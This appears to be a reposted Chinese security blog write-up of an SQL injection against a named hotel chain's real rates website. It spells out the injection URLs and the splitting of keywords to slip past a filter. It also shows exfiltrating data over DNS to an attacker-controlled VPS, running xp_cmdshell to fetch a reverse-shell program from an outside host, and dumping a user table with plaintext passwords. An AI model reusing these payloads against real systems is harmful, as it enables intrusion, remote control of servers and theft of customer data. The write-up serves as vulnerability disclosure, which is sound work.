如家某处一个经典SQL注射。

admin 2022年3月15日22:17:28评论65 views字数 2470阅读8分14秒阅读模式

from:http://www.wooyun.org/bugs/wooyun-2013-044473

注入点是这个


http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023

http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023' and 'a'='a

http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023' and 'a'='b

明显的一个错误,一个正确。
那么就是典型的字符型SQL注入。
但是我用SQLMAP没跑出来。
于是只好本吊亲自上阵了,很久没亲自操刀了,感觉很陌生得慌。
因为是aspx 所以感觉是mssql
就先执行了这个:
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'and(select count(*) from sysobjects)>0

如家某处一个经典SQL注射。


警告!你的IP已经被记录!不要使用敏感字符!
过滤了select
后来经测试,还过滤了 master declare等关键字。
并且错误提示关闭。没办法爆错显信息。
大家肯定说那你openrowset吧。
我也知道这么弄,可sqlserver 2005以上默认是关闭的。还是先判断数据库版本吧。
执行
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'and substring((select @@version),23,4)='2000'and'a'='a
返回错误。
说明不是mssql2000
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'substring((@@version),22,4)='2005'and'a'='a
这个也返回错误
说明不是mssql2005
后来检测到是mssql2008.
然后检测一下权限。
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023' and IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)=1 and 'a'='a
返回正常
竟然是sa。 我瞬间释然了。现在还能碰到sa啊 看来应该可以拿下了。
现在就剩绕过ids了。
经检测exec没有过滤,那么可以使用exec(sql语句的方式)
exec('sel'+'ect @@version);这样就绕过IDS了。哈哈
其实这里有个快速获取数据库信息的方法
刚好 基友有个VPS 我们就试了一下。
就是利用dns解析得到 想要的数据。
执行
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'exec('ba'%2b'ckup+lo'%2b'g+ma'%2b'ster+to+di'%2b'sk=''\'%2b@@servername%2b'.xxx.xxxa'';')--
然后我再VPS监听
就得到@@servername的信息了。

如家某处一个经典SQL注射。

获取到是 :R021RJSH00223S2
通过这样的方法可以获取你想要的信息
不过这里既然是sa,那么 就不费劲了。
直接用exec()的方式执行任何sql语句。
恢复xp_cmshell
然后直接反向链接程序,就弹回来了。
这里我执行的是
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'exec('ex'%2b'ec+ma'%2b'ster..x'%2b'p_cm'%2b'dshell''\1.1.1.1pubma.exe''')--
直接把反弹程序放在vps就行了
当然这里vps是配置共享服务,开放445什么的 大家都懂的。

如家某处一个经典SQL注射。

这是弹回来的图。

如家某处一个经典SQL注射。

这是C盘,貌似有别人的马,看来被日过了。

如家某处一个经典SQL注射。

这是备份的数据库。
然后我在cmd执行sql语句看下数据库的内容
具体是这样的:
osql /E /Q "select @@version"
osql /E /Q "select name from sysdatabases where dbid>4"
这样可以直接在命令行执行sql语句的。

如家某处一个经典SQL注射。

这是其中一个表的内容
D:>osql /E /Q "use customer;select * from users"
osql /E /Q "use customer;select * from users"
ID UserCode
UserName UserPassword
UserEmail RoleCode
Flag
3 1001
admin 111111
1001
1
4 1002
ceshi 111111
1002
1
5 1003
3333 111111
这是D盘:

如家某处一个经典SQL注射。

其实呢,我已经有数据库服务器的管理员权限了
可以轻松把所有数据库COPY到我的vps里面。

也可以给数据库服务器装木马,干什么都行。

所以就到此为止吧。


昨天是中秋节啊,群发了一条消息,今天登上一看还有这么多小伙伴支持小歪,真的很感动,最近比较忙,个人状态也不怎么好,所以更的比较慢,还是谢谢各位了。如果本文对您有所帮助请点击右上角分享。thx

本文始发于微信公众号(关注安全技术):如家某处一个经典SQL注射。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月15日22:17:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如家某处一个经典SQL注射。http://cn-sec.com/archives/503053.html

发表评论

匿名网友 填写信息